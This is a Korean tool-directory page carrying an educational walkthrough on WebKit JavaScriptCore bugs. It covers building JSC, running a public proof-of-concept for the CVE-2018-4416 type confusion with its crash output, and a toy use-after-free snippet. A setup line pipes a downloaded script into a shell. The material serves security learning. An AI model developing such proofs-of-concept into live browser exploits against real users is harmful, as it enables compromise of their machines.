Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-4416-exploit — CVE-2018-4416에 대한 교육용 워크스루로, WebKit JavaScriptCore 타입 혼동 취약점의 PoC, 디버깅 설정, 그리고 일반적인 브라우저 바이너리 익스플로잇 기법 분석을 다룹니다. | Kitploit
도구/GitHubGitHub/erupmi/cve-2018-4416-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationLearning Paths & CoursesBinary Exploitation
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

CVE-2018-4416에 대한 교육용 워크스루로, WebKit JavaScriptCore 타입 혼동 취약점의 PoC, 디버깅 설정, 그리고 일반적인 브라우저 바이너리 익스플로잇 기법 분석을 다룹니다.

저장소 보기
93152년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
  • Preface :PROPERTIES: :CUSTOM_ID: preface :END: 자, 바이너리 보안은 /heap/과 /stack/만 있는 것이 아닙니다. 일반적인 CTF 챌린지 외에도 아직 발견할 것이 많습니다. 브라우저, 가상 머신, 커널 모두 바이너리 보안에서 중요한 역할을 합니다. 그래서 저는 먼저 브라우저를 공부하기로 결정했습니다.

비교적 쉬운 것으로 /WebKit/을 선택했습니다. (ChakraCore가 더 쉬울 수도 있습니다. 하지만 Microsoft가 프로젝트를 취소한다는 소문이 있어 선택하지 않기로 했습니다.)

/WebKit/ 보안을 공부한 내용을 기록하기 위해 일련의 게시물을 작성할 예정입니다. 브라우저 보안을 처음 배우는 것이므로, 제 게시물에는 아마도 많은 실수가 있을 것입니다. 발견하시면 주저하지 말고 연락 주셔서 수정해 주시기 바랍니다.

읽기 전에 알아야 할 사항: - C++ 문법 - 어셈블리 언어 문법 - 가상 머신 설치 - Ubuntu 및 명령줄에 익숙함 - 기본 컴파일 이론 개념


  • Setup :PROPERTIES: :CUSTOM_ID: setup :END: 자, 이제 시작해 보겠습니다.

** Virtual Machine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: 먼저 테스트 대상으로 사용할 VM을 설치해야 합니다. 여기서는 /Ubuntu 18.04 LTS/와 /Ubuntu 16.04 LTS/를 대상 호스트로 선택했습니다. [[https://www.ubuntu.com/][여기]]에서 다운로드할 수 있습니다. 버전을 명시하지 않은 경우 기본 버전으로 18.04 LTS를 사용하세요.

Mac이 XCode와 Safari가 있어 더 적합할 수 있습니다. 하지만 MacOS의 높은 리소스 소모와 불안정한 업데이트를 고려하여, 저는 Ubuntu를 사용하기로 했습니다.

VM 소프트웨어가 필요합니다. 저는 [[https://www.vmware.com/][VMWare]]를 선호합니다. Parallel Desktop과 VirtualBox(무료)도 괜찮습니다. 개인 취향에 따라 선택하세요.

VMWare에 Ubuntu를 설치하는 방법을 단계별로 설명하지는 않겠습니다. 하지만 컴파일에는 많은 리소스가 필요하므로 가능한 많은 메모리와 CPU를 할당하라는 점을 알려드립니다. 소스 코드와 컴파일된 파일을 저장하려면 80GB 디스크면 충분합니다.

** Source Code :PROPERTIES: :CUSTOM_ID: source-code :END: WebKit 소스 코드는 세 가지 방법으로 다운로드할 수 있습니다: [[https://github.com/WebKit/webkit][/git/]], /svn/, 그리고 [[https://webkit.org/getting-the-code/][/archive/]].

WebKit의 기본 버전 관리자는 svn입니다. 하지만 저는 git을 선택했습니다(svn 사용이 너무 낯설어서):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** Debugger and Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE는 많은 리소스를 소모하므로, 저는 소스 코드 편집에 vim을 사용합니다.

제가 본 대부분의 디버그 작업은 제게 익숙하지 않은 lldb를 사용합니다. 따라서 저도 gdb를 gef 플러그인과 함께 설치합니다.

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Compiling JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: 전체 WebKit을 컴파일하는 데는 많은 시간이 소요됩니다. 현재는 대부분의 취약점이 발생하는 JSC(JavaScript Core)만 컴파일합니다.

이제 WebKit 소스 코드의 루트 디렉터리에 있어야 합니다. 다음을 실행하여 의존성을 준비합니다:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

아직 전체 WebKit을 컴파일하지는 않았지만, 향후 테스트를 위해 나머지 의존성을 먼저 설치할 수 있습니다. JSC 컴파일에 시간을 많이 쓰고 싶지 않다면 이 단계는 필수가 아닙니다:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

그런 다음 JSC를 컴파일합니다:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

몇 분 후, JSC를 다음과 같이 실행할 수 있습니다:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

몇 가지 테스트를 해보겠습니다:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** Triggering Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote Ubuntu 18.04 LTS #+end_quote

테스트를 위해 [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] 을 사용합니다. PoC는 다음과 같습니다. =jsc=와 같은 폴더에 =poc.js=로 저장합니다:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // 최적화 시작 for (let i = 0; i < 500; i++) {

  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // "tmp"의 구조 ID는 JSPropertyNameEnumerator에 저장됩니다.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // "obj"의 구조 ID는 tmp와 동일합니다.

      return obj[k];  // 타입 혼동
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

먼저 취약한 버전으로 전환합니다:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote 컴파일하는 것보다 더 오래 걸릴 수 있습니다. #+end_quote

실행: =./jsc poc.js=, 그러면 다음과 같은 결과를 얻습니다:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

최신 버전에서 실행하면(=git checkout master=로 되돌리고, 빌드 내용 삭제 =rm -rf WebKitBuild/Relase/= 및 =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8)

... // 많은 오류 메시지

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

이제 버그 트리거에 성공했습니다!

자세한 내용은 설명하지 않겠습니다(저도 모릅니다). 몇 주 후에 근본 원인을 알 수 있기를 바랍니다.


  • Understanding WebKit Vulnerability :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: 이제 더 깊이 있는 내용을 다룰 시간입니다. WebKit 아키텍처에 대해 이야기하기 전에 WebKit에서 흔히 발생하는 버그를 알아보겠습니다.

여기서는 바이너리 수준 관련 버그만 다룹니다. /URL 스푸핑/이나 /UXSS/와 같은 상위 수준 버그는 주제에 포함되지 않습니다. 아래 예제는 WebKit에만 국한되지 않습니다. 일부는 Chrome의 버그입니다. 간략히 소개하고, 이후에 PoC를 구체적으로 분석하겠습니다.

이 부분을 읽기 전에 컴파일러 이론에 대한 자료를 읽어보시기를 강력히 권장합니다. 기본적인 Pwn 지식도 익혀두셔야 합니다. 제 설명이 명확하지 않을 수 있습니다. 다시 말씀드리지만, 오류를 발견하시면 수정해 주시기 바랍니다.

이 게시물은 JSC에 대한 이해가 깊어짐에 따라 여러 번 업데이트될 예정입니다. 나중에 다시 확인하는 것을 잊지 마세요.

** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: 일명 =UAF=입니다. CTF 챌린지에서 흔히 볼 수 있는 전형적인 시나리오입니다:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

일부 논리 오류로 인해 코드가 해제된 메모리를 재사용합니다. 일반적으로 해제된 메모리를 제어할 수 있게 되면 누수나 쓰기가 가능합니다.

CVE-2017-13791은 WebKit UAF의 예입니다. PoC는 다음과 같습니다:

도구 다운로드